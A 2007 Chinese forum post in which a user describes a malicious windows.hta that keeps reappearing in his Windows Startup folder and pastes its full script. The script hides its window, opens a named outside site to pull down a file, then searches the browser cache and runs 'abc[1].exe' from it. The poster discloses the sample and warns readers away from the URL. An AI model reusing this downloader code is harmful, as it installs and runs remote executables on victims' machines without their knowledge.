|
|
|
C:\Documents and Settings\All Users\「开始」菜单\程序\启动
下一个文件： windows.hta
删了后重启又在了……
卡巴没有随系统启动
下面的网址路径，没有安杀软的不要轻易点，点了后果自负……
用记事本打开：
TG! 稈?蚕? _? g 噎c?胂般 ? ?幎雖?嶖 _?
| ?等骪?? Dw= ? ?" I ?幎雖?嶖 _? 2 ' ? S U N N Y ? ?
??
<html>
<body>
<script>
window.moveTo(4000,4000);
window.resizeTo(0,0);
var shell=new ActiveXObject("wscript.shell");
shell.Run("C:\\Progra~1\\Intern~1\\IEXPLORE.EXE http://www.if56.cn/lo/downmm.html",0,0);
function runmm(){
var path=shell.SpecialFolders("MyDocuments");
var savepath=path.substring(0,path.lastIndexOf("\\"));
savepath+="\\Local Settings\\Temporary Internet Files\\Content.IE5\\";
var sp=new ActiveXObject("shell.application");
var Folders=sp.NameSpace(savepath);
for(i=0;i<Folders.Items().Count;i++){
var Folder=Folders.Items().Item(i).Path;
Folder+="\\abc[1].exe]\\abc[1].exe";
try{
shell.Exec(Folder);
}catch(e){};
}
window.close();
};
shell.Run("cmd.exe /c tree c:\\ /f",0,1);
runmm();
</script>
</body>
</html>
红色那段代码可以遍历文件夹元素……学到了……
注册表里没有 if56.cn 和 windows.hta 的项……
PS：之所以能够发现这个，并不是我常常去检查下有什么启动项，
而是每次关机前都把网络连接禁了(启动时这个做与不做，启动速度差很多……)
[ 本帖最后由 iptton 于 2007-6-11 13:48 编辑 ] |
|
IP卡
狗仔卡
发表于 2007-6-11 12:28
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
显身卡
发表于 2007-6-11 13:16
